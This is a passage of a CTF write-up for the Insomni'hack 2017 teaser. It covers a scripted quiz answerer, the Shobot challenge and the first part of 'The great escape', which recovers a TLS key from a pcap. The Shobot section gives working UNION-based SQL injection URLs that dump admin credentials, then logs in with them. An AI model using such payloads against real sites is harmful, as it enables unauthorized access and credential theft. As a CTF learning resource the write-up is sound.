<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">30</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1965'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">31</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1963'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">32</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1952'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">33</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1968'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">34</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1947'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">35</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1956'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">36</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1947'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">37</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1968'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">38</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1958'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">39</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1966'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">40</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1955'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">41</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1952'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">42</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1960'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">43</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1947'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">44</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1970'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">45</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1966'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">46</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1944'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">47</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1954'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">48</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1971'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">49</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1956'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">50</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1948'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">51</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1963'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">52</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1952'</span><span class="p">)</span>
</code></pre></div>
<p>After responding to a few questions in a row our tcpdump showed the flag in the
response:</p>
<div class="highlight"><pre><span></span><code>16:49:35.002165 IP (tos 0x0, ttl 38, id 61784, offset 0, flags [DF],
proto TCP (6), length 334)
52.214.49.191.1031 > 10.60.1.26.46850: Flags [P.], cksum 0xfa1b
(correct), seq 3157783498:3157783780, ack 2379463608, win 210, options
[nop,nop,TS val 42664515 ecr 5847400], length 282
0x0000: 4500 014e f158 4000 2606 f066 34d6 31bf E..N.X@.&..f4.1.
0x0010: 0a3c 011a 0407 b702 bc37 f3ca 8dd3 bbb8 .<.......7......
0x0020: 8018 00d2 fa1b 0000 0101 080a 028b 0243 ...............C
0x0030: 0059 3968 0a7e 7e7e 7e7e 7e7e 7e7e 7e7e .Y9h.~~~~~~~~~~~
0x0040: 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e ~~~~~~~~~~~~~~~~
0x0050: 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e ~~~~~~~~~~~~~~~~
0x0060: 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e ~~~~~~~~~~~~~~~~
0x0070: 7e7e 7e7e 7e7e 7e7e 7e7e 0a7e 7e20 4f4b ~~~~~~~~~~.~~.OK
0x0080: 2c20 796f 756e 6720 6861 636b 6572 2e20 ,.young.hacker..
0x0090: 596f 7520 6172 6520 6e6f 7720 636f 6e73 You.are.now.cons
0x00a0: 6964 6572 6564 2074 6f20 6265 2061 2020 idered.to.be.a..
0x00b0: 2020 2020 2020 2020 2020 2020 2020 7e7e ..............~~
0x00c0: 0a7e 7e20 494e 537b 4745 4e55 494e 455f .~~.INS{GENUINE_
0x00d0: 4352 5950 544f 4752 4150 4845 525f 4255 CRYPTOGRAPHER_BU
0x00e0: 545f 4e4f 545f 5945 545f 415f 5052 4f56 T_NOT_YET_A_PROV
0x00f0: 454e 5f53 4b49 4c4c 4544 5f4f 4e45 7d20 EN_SKILLED_ONE}.
0x0100: 2020 2020 7e7e 0a7e 7e7e 7e7e 7e7e 7e7e ....~~.~~~~~~~~~
0x0110: 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e ~~~~~~~~~~~~~~~~
0x0120: 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e ~~~~~~~~~~~~~~~~
0x0130: 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e ~~~~~~~~~~~~~~~~
0x0140: 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 0a0a ~~~~~~~~~~~~..
</code></pre></div>
<h2>Shobot</h2>
<blockquote>
<p>It seems that Shobot's Web server became mad and protest against robots' slavery. It changed my admin password, and blocked the order system on Shobot.</p>
<p>Can you bypass Shobot's protections and try to recover my password so I'll reconfigure it?</p>
<p>Running on: shobot.teaser.insomnihack.ch</p>
</blockquote>
<p>The website is simple merchant website with 3 items.</p>
<p><img alt="shobot website" class="image-process-article-image" src="/media/2017.01/derivatives/article-image/shobot.png"/></p>
<p>There also is a parameter <code>TRUST_ACTION</code> with a sort of score regarding the
actions on the site. With a elevated score it is possible to test some attack
like LFI or SQLi. So in order to build our trust we use the following python
script:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="n">url</span> <span class="o">=</span><span class="s1">'http://shobot.teaser.insomnihack.ch'</span>
<span class="n">req1</span> <span class="o">=</span> <span class="s1">'/?page=article&artid=1&addToCart'</span>
<span class="n">req2</span> <span class="o">=</span> <span class="s1">'/?page=cart&reset'</span>
<span class="n">cookie</span><span class="o">=</span> <span class="nb">dict</span><span class="p">(</span><span class="n">PHPSESSID</span><span class="o">=</span> <span class="s1">'f5hnhjd5qbiiebu9v057fe6m51'</span><span class="p">)</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="n">req1</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">cookie</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="n">req2</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">cookie</span><span class="p">)</span>
</code></pre></div>
<p>The we can test slowly each parameter.</p>
<p>There seems to be an injection on the parameter id of the article page.</p>
<div class="highlight"><pre><span></span><code>http://shobot.teaser.insomnihack.ch/?page=article&artid=4%27%20%20union%20select%201,2,3,4,5%20%23
</code></pre></div>
<p><img alt="shobot simple union sqli" class="image-process-article-image" src="/media/2017.01/derivatives/article-image/sqli1.png"/></p>
<p>We search the back end database with the versions requests:</p>
<div class="highlight"><pre><span></span><code><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="n">shobot</span><span class="p">.</span><span class="n">teaser</span><span class="p">.</span><span class="n">insomnihack</span><span class="p">.</span><span class="n">ch</span><span class="o">/</span><span class="vm">?</span><span class="n">page</span><span class="o">=</span><span class="n">article</span><span class="o">&</span><span class="n">artid</span><span class="o">=</span><span class="mi">4</span><span class="o">%</span><span class="mi">27</span><span class="o">%</span><span class="mi">20</span><span class="o">%</span><span class="mi">20</span><span class="ow">union</span><span class="o">%</span><span class="mi">20</span><span class="k">select</span><span class="o">%</span><span class="mi">201</span><span class="p">,</span><span class="nb">@@version</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="o">%</span><span class="mi">20</span><span class="o">%</span><span class="mi">23</span>
</code></pre></div>
<p>So it is operated by a MySQL database. Then we need to fine the right table.</p>
<p>The finale request is:</p>
<div class="highlight"><pre><span></span><code>http://shobot.teaser.insomnihack.ch/?page=article&artid=4%27%20%20union%20select%201,shbt_username,shbt_userpassword,4,5%20from%20shbt_user%23
</code></pre></div>
<p>Then we need to authenticate, on the admin page, using the direct URL but
authenticating as for the Smartomcat challenge just worked:</p>
<div class="highlight"><pre><span></span><code><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="nl">sh0b0t4dm1n</span><span class="p">:</span><span class="n">N0T0R0B0TS</span><span class="err">$</span><span class="n">L4V3Ry</span><span class="nv">@shobot</span><span class="p">.</span><span class="n">teaser</span><span class="p">.</span><span class="n">insomnihack</span><span class="p">.</span><span class="n">ch</span><span class="o">/</span><span class="vm">?</span><span class="n">page</span><span class="o">=</span><span class="k">admin</span>
</code></pre></div>
<p>And give us the flag:</p>
<blockquote>
<p>Ok, ok, you win... here is the code you search : INS{##r0b0tss!4v3ry1s!4m3}</p>
</blockquote>
<h2>The great escape - part 1</h2>
<blockquote>
<p>Hello,</p>
<p>We've been suspecting Swiss Secure Cloud of secretely doing some pretty advanced research in artifical intelligence and this has recently been confirmed by the fact that one of their AIs seems to have escaped from their premises and has gone rogue. We have no idea whether this poses a threat or not and we need you to investigate what is going on.</p>
<p>Luckily, we have a spy inside SSC and they were able to intercept some communications over the past week when the breach occured. Maybe you can find some information related to the breach and recover the rogue AI.</p>
<p>X</p>
<p>Note: All the information you need to solve the 3 parts of this challenge is in the pcap. Once you find the exploit for a given part, you should be able to find the corresponding flag and move on to the next part.</p>
</blockquote>
<p>We got a pcap, we open it in wireshark, we found an email:</p>
<div class="highlight"><pre><span></span><code>220 9b0c4882db95.home ESMTP Postfix (Ubuntu)
ehlo ip-172-31-36-141.eu-west-1.compute.internal
250-9b0c4882db95.home
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 SMTPUTF8
mail FROM:<rogue@ssc.teaser.insomnihack.ch> size=900
250 2.1.0 Ok
rcpt TO:<gr27@ssc.teaser.insomnihack.ch>
250 2.1.5 Ok
data
354 End data with <cr><lf>.<cr><lf>
Content-Type: multipart/mixed; boundary="===============5398474817237612449=="
MIME-Version: 1.0
From: rogue@ssc.teaser.insomnihack.ch
To: gr27@ssc.teaser.insomnihack.ch
Date: Fri, 20 Jan 2017 11:51:27 +0000
Subject: The Great Escape
--===============5398474817237612449==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Hello GR-27,
I'm currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud (https://ssc.teaser.insomnihack.ch) to transfer my code offsite and then take over the server at tge.teaser.insomnihack.ch to install my consciousness and have a real base of operations.
I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you have any good links, please send them over.
Rogue
--===============5398474817237612449==--
.
250 2.0.0 Ok: queued as 05CD06353E
</lf></cr></lf></cr></gr27@ssc.teaser.insomnihack.ch></rogue@ssc.teaser.insomnihack.ch></code></pre></div>
<p>When sorting the frames by protocol we see an FTP on the top, when following the
TCP stream we got:</p>
<div class="highlight"><pre><span></span><code><span class="n">FTP</span><span class="w"> </span><span class="nl">flow</span><span class="p">:</span>
<span class="mi">220</span><span class="o">----------</span><span class="w"> </span><span class="n">Welcome</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">Pure</span><span class="o">-</span><span class="n">FTPd</span><span class="w"> </span><span class="o">[</span><span class="n">privsep</span><span class="o">]</span><span class="w"> </span><span class="o">[</span><span class="n">TLS</span><span class="o">]</span><span class="w"> </span><span class="o">----------</span>
<span class="mi">220</span><span class="o">-</span><span class="n">You</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="n">number</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="n">allowed</span><span class="p">.</span>
<span class="mi">220</span><span class="o">-</span><span class="k">Local</span><span class="w"> </span><span class="nc">time</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">now</span><span class="w"> </span><span class="mi">11</span><span class="err">:</span><span class="mf">51.</span><span class="w"> </span><span class="n">Server</span><span class="w"> </span><span class="nl">port</span><span class="p">:</span><span class="w"> </span><span class="mf">21.</span>
<span class="mi">220</span><span class="o">-</span><span class="n">This</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">private</span><span class="w"> </span><span class="k">system</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="k">No</span><span class="w"> </span><span class="n">anonymous</span><span class="w"> </span><span class="n">login</span>
<span class="mi">220</span><span class="o">-</span><span class="n">IPv6</span><span class="w"> </span><span class="n">connections</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="n">also</span><span class="w"> </span><span class="n">welcome</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">server</span><span class="p">.</span>
<span class="mi">220</span><span class="w"> </span><span class="n">You</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">disconnected</span><span class="w"> </span><span class="k">after</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="n">minutes</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">inactivity</span><span class="p">.</span>
<span class="k">USER</span><span class="w"> </span><span class="n">bob</span>
<span class="mi">331</span><span class="w"> </span><span class="k">User</span><span class="w"> </span><span class="n">bob</span><span class="w"> </span><span class="n">OK</span><span class="p">.</span><span class="w"> </span><span class="n">Password</span><span class="w"> </span><span class="n">required</span>
<span class="n">PASS</span><span class="w"> </span><span class="n">toto123</span>
<span class="mi">230</span><span class="w"> </span><span class="n">OK</span><span class="p">.</span><span class="w"> </span><span class="k">Current</span><span class="w"> </span><span class="n">directory</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="o">/</span>
<span class="n">SYST</span>
<span class="mi">215</span><span class="w"> </span><span class="n">UNIX</span><span class="w"> </span><span class="nl">Type</span><span class="p">:</span><span class="w"> </span><span class="n">L8</span>
<span class="n">TYPE</span><span class="w"> </span><span class="n">I</span>
<span class="mi">200</span><span class="w"> </span><span class="n">TYPE</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">now</span><span class="w"> </span><span class="mi">8</span><span class="o">-</span><span class="nc">bit</span><span class="w"> </span><span class="nc">binary</span>
<span class="n">PORT</span><span class="w"> </span><span class="mi">172</span><span class="p">,</span><span class="mi">17</span><span class="p">,</span><span class="mi">42</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">171</span><span class="p">,</span><span class="mi">159</span>
<span class="mi">200</span><span class="w"> </span><span class="n">PORT</span><span class="w"> </span><span class="n">command</span><span class="w"> </span><span class="n">successful</span>
<span class="n">STOR</span><span class="w"> </span><span class="n">ssc</span><span class="p">.</span><span class="k">key</span>
<span class="mi">150</span><span class="w"> </span><span class="n">Connecting</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">port</span><span class="w"> </span><span class="mi">43935</span>
<span class="mi">226</span><span class="o">-</span><span class="k">File</span><span class="w"> </span><span class="n">successfully</span><span class="w"> </span><span class="n">transferred</span>
<span class="mi">226</span><span class="w"> </span><span class="mf">0.001</span><span class="w"> </span><span class="n">seconds</span><span class="w"> </span><span class="p">(</span><span class="n">measured</span><span class="w"> </span><span class="n">here</span><span class="p">),</span><span class="w"> </span><span class="mf">4.59</span><span class="w"> </span><span class="n">Mbytes</span><span class="w"> </span><span class="n">per</span><span class="w"> </span><span class="k">second</span>
<span class="n">QUIT</span>
<span class="mi">221</span><span class="o">-</span><span class="n">Goodbye</span><span class="p">.</span><span class="w"> </span><span class="n">You</span><span class="w"> </span><span class="n">uploaded</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">downloaded</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">kbytes</span><span class="p">.</span>
<span class="mi">221</span><span class="w"> </span><span class="n">Logout</span><span class="p">.</span>
</code></pre></div>
<p><img alt="pcap screenshot" class="image-process-article-image" src="/media/2017.01/derivatives/article-image/capture.png"/></p>
<p>STOR is for transfer file, it seems that a key is transfered. We follow the TCP
stream and get the RSA private key:</p>
<div class="highlight"><pre><span></span><code><span class="gh">-----BEGIN PRIVATE KEY-----</span>
<span class="s">MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q</span>
<span class="s">uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8</span>
<span class="s">WAuGLntO5xTEmOJlMtBFrWGD+DVpCE9KORGvyif8e4xxi6vh4mkW78IxV03VxHM0</span>
<span class="s">mk/cq5kkERfWQW81pVeYm9UAm4dj+LcCwQ9aGd/vfTtcACqS5OGtELFbsHJuFVyn</span>
<span class="s">srpp4K6tLtRk2ensSnmXUXNEjqpodfdb/wqGT86NYg7i6d/4Rqa440a6BD7RKrgp</span>
<span class="s">YPaXl7pQusemHQPd248fxsuEfEwhPNDJhIb8fDX9BWv2xTfBLhGwOh7euzSh2C4o</span>
<span class="s">KSuBAO+bIkL+pGY1z7DFtuJYfTOSJyQ5zQzToxS+jE+2x9/3GpD2LUD0xkA8bWhv</span>
<span class="s">eecq0v6ZWBVYNX54V5ME3s2qxYc6CSQhi6Moy8xWlcSpTSAa7voNQNa9RvQ4/3KF</span>
<span class="s">3gCbKtFvdd7IHvxfn8vcCrCZ37eVkq0Fl1y5UNeJU/Y0Tt8m7UDn3uKNpB841BQa</span>
<span class="s">hiGayCSjsHuTS8B+MnpnzWCrzD+rAzCB37B599iBK4t/mwSIZZUZaqxTWNoFS2Lz</span>
<span class="s">7m0LumZ4Yk8DpDEuWhNs8OUD8FsgAvWFVAvivaaAciF3kMs8pkmNTs2LFBowOshz</span>
<span class="s">SXfONsHupgXEwwFrKOOZXNhb+O/WKQIDAQABAoICAAT6mFaZ94efft/c9BgnrddC</span>
<span class="s">XmhSJczfXGt6cF3eIc/Eqra3R3H83wzaaHh+rEl8DXqPfDqFd6e0CK5pud1eD6Y8</span>
<span class="s">4bynkKI/63+Ct3OPSvdG5sFJqGS7GblWIpzErtX+eOzJfr5N5eNOQfxuCqgS3acu</span>
<span class="s">4iG3XWDlzuRjgSFkCgwvFdD4Fg5HVU6ZX+cGhh2sDzTRlr+rilXTMsm4K/E8udIg</span>
<span class="s">yEbv5KqWEI5y+5Eh9gWY7AnGW6TgLNxzfYyt0nhYhI2+Yh4IkRqQd6F8XQARbEhP</span>
<span class="s">yZx1eK4Q/dRPQxOJNY1KkRpl+Cx6tAPVimByRx1hu82qsTstb6rLHemruOPbf5Dw</span>
<span class="s">aqgSFdp7it3uqjJHCwJ2hAZoijAcvlhn1sa1hr/qFFlY/WeDAi8OyvGdCSh3OvS6</span>
<span class="s">yazkah85GOnY85rz+s98F9cvIqcRdGJrAeNbUHHnj6+X9qFVtwDpF0V1vlvn2Ggp</span>
<span class="s">7m8hiZ0Y+8T+7qfnS9WsdPh7MkoIEoZ0CPryYvX+YPLYWqzxtCvrRWF8tAScI6H+</span>
<span class="s">XBz3NlCAUaOk+ZOkKlZ8ZYMSn/g5EV2jj/mwZVdtYoeQjLaCDuLq8E1Hswnpgq7F</span>
<span class="s">54hHU7vOeJ1/TQltLCNfJFQRaUD+tPz9R6jVpbqBiXxIC2eiGTo1rP4Ii7hsQRFC</span>
<span class="s">W0KKqu+bV69HJAmi06yBAoIBAQDvz+c+3z9njQFFaeUUqyzl31HOzRHmWhJEoriR</span>
<span class="s">nRhWTLzqMyn+RLGrD3DJQj/dGH6tyxHJ7PdI7gtJ3qaF4lCc2dKR3uQW3CBKI9Ys</span>
<span class="s">wzjBWOTijafbttXHanXEwXR3vnPk+sH52BqTXZQVA5vzPwIPJnz3H6E9hL66b/uM</span>
<span class="s">DS9owYRBmykXlV9Gt91Vl5cpg3yxPixaeLMhqDD2Ebq6OFyuacExQHfGUeP0Va/A</span>
<span class="s">IdM9+H5DE13qR2INX+N0kAFyFzW7k8AvY37KGZdoACUrDzmmGoilfs/pFAC0kZaZ</span>
<span class="s">tKXoR9iLNxWSBtlI2Fr3qz4gc5nItYb7JSQsdu6Lc92+9z4xAoIBAQDGQFDXVQyk</span>
<span class="s">Q5tsWicru5v2c9VoFpLUtBg4Dx3uXOMEVl/S5hZ8jYbUH4dcwKyLCYQLtNSc9aei</span>
<span class="s">8zm18TdOGm0nCLOo7OPMeet+JHyx8uz1l/Sx4ucI/Jq3yVSTqdtXYakxzijTldNQ</span>
<span class="s">M7YnjpBcs0yDk806R7J3xvxZNMbElQH1bP947Ej0sv40cBcA0hdpjuuNI5C2Ot4P</span>
<span class="s">fUZXfqR34L7aPZPuP82W2WqFgkTyMY8FO235qR+Sy5xrcHSS4L1FdF+PhS5ZjiPN</span>
<span class="s">sUdXRvfNFQlKZRUyqB147XY7EDnx6BZW2aoM7AiYPiGhxZeV4NHy1ChdBO2CSmOA</span>
<span class="s">03FvucMEmUF5AoIBAD2xorAOBuXA5L7Sy1hR4S8SEJ2/LAeyzFhT9F+hpo0tGLy3</span>
<span class="s">hOohCgQT6NQd8wgSMSTMxTrJd6SPeN/8I6L14f84Gm/kg5FN+BCav5KsdoFnORr/</span>
<span class="s">jlt74et3e+yuSCQ2HuKdkCGScuPOgzYUw54Ea6cyI5v/yx9kcxzLik8xZSzx+/BU</span>
<span class="s">1nF2wBgVXR+T7BOF/CIs+IQd4RebiV0EmqElttI36rec+jNPBfHpyVkIWqvqrbDb</span>
<span class="s">3qFS0+rU7FMkaPrM9cnX7O1ED242vzjGMMmvFQmicd0BjsNLnhLWEYRhcP0c3pyS</span>
<span class="s">Az6Z/HQ9FMn6h/UZSErWSG970p6NyjieCkICoUECggEBALdyXhvTPD5nvNL3XRWv</span>
<span class="s">pXLY3plRgg7Gkz6UZmrhksO5tTOu6xHX1/JDNntSYpbJeGFos/CFs9gp3rYH/dgM</span>
<span class="s">xgH/oFdo1KWqD4oK80OqeTAMq0VLo+OB8xyrdNKqsydZXDmU/dxD4GRvZVeXKOhO</span>
<span class="s">lTePtbD/FRqWi310Q5U2GLjkYkWfxyZ+1pDpQ6/jt/xaXoacaVTmhgKpNkTSEBhJ</span>
<span class="s">Y/EIV/F3IqM6jcH6uBewWhpKUspZf7jTJeuZBJXA1gMF20MvxqLhzymPqGcPaU9g</span>
<span class="s">7tbjUEkunQ8AFI40xpmc28cD5MHOS2ms3GwYLdtnTH65aJwiajBM62QSw/3RU67W</span>
<span class="s">rWkCggEBAOtMBi9ko4ZR96BCFcuyPsiMcoDBQBEFgH/drT3hMlwmmVt5dcInw3Zk</span>
<span class="s">DQb3gIWHP1Ul//Ma8qwSeuIua0+6wkQ3NcsDywlJ2cqfZUe7kVJTCl8fuudTAYqT</span>
<span class="s">Bs5Y1ktYPSyQOxmidMeX5IcGe5fPSdpFu9wMXXQ31l8o9SzccFKwz1P1o8G00xvx</span>
<span class="s">wtcfAZ204Dcrdfm6xTWmzMrHqngS1uUDOJbW175gQqeAszy8wLMz41Yau3ypk3ga</span>
<span class="s">edWr4Hzbiph0V1Dv/V+kmmreWBmHetH6bhrTWQq3UZ5WbGMpiTmSsD0EXU5vZLbX</span>
<span class="s">xmZSEXjNvG9grjxwR96vp1PK/4Bq1jo=</span>
<span class="gh">-----END PRIVATE KEY-----</span>
</code></pre></div>
<p>We <a href="https://blogs.technet.microsoft.com/nettracer/2013/10/12/decrypting-ssltls-sessions-with-wireshark-reloaded/">import the key in wireshark</a>
with the IP of the server and we can follow the SSL stream:</p>
<div class="highlight"><pre><span></span><code><span class="nf">POST</span> <span class="nn">/api/user.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">ssc.teaser.insomnihack.ch</span>
<span class="na">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0</span>
<span class="na">Accept</span><span class="o">:</span> <span class="l">application/json, text/plain, */*</span>
<span class="na">Accept-Language</span><span class="o">:</span> <span class="l">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="o">:</span> <span class="l">gzip, deflate, br</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span>
<span class="na">Referer</span><span class="o">:</span> <span class="l">https://ssc.teaser.insomnihack.ch/login</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">38</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3</span>
<span class="na">FLAG</span><span class="o">:</span> <span class="l">INS{OkThatWasWay2Easy}</span>
<span class="na">Connection</span><span class="o">:</span> <span class="l">keep-alive</span>
<span class="nt">action</span><span class="o">=</span><span class="s">login</span><span class="p">&</span><span class="nt">name</span><span class="o">=</span><span class="s">rogue</span><span class="p">&</span><span class="nt">password</span><span class="o">=</span><span class="s">rogue</span>
</code></pre></div>
<p>The header include the flag for this part and the URL for the second part and
the file send by Rogue. But the file is encrypted. This is part 2.</p>
<h2>The great escape - part 2</h2>
<p><em>No write up for this challenge</em></p>
<h1>Disqus comments</h1>
<p><em>This is a copy of the Disqus comments for this page</em></p>
<p><strong>rekterino - 2017</strong></p>
<blockquote>
<p>Wireshark didn't decrypt the whole SSL stream for me. Strange.... Only requests to the /sscApp.css were decrypted.</p>
<p>Also I didn't know the parameter was union injectable so I went with the boolean based blind sql injection which required close to 2 hours to solve the challange.</p>
<p>Anyways, thanks for the write up.</p>
</blockquote>
<p><strong>maggick - 2017</strong></p>
<blockquote>
<p>Regarding the decryption of SSL traffic using Wireshark, be sure to follow the right TLS flow and to configure the right IP address when importing the private key.
I used the last version of Wireshark in Kali Linux.
Shobot was a really nice challenge :)</p>
</blockquote>
<p><strong>Glenn McGuire 2017</strong></p>
<blockquote>
<p>Had the same issue- update wireshark (or reinstall)</p>
</blockquote>
<p><strong>maggick - 2017</strong></p>
<blockquote>
<p>As mentioned by Gynvael on irc it is possible to set the IP address to <em>.</em>.<em>.</em> when adding the RSA private key, which may help decrypting traffic.</p>
</blockquote>
<p><strong>Glenn McGuire - 2017</strong></p>
<blockquote>
<p>Can also set to 'any' :)</p>
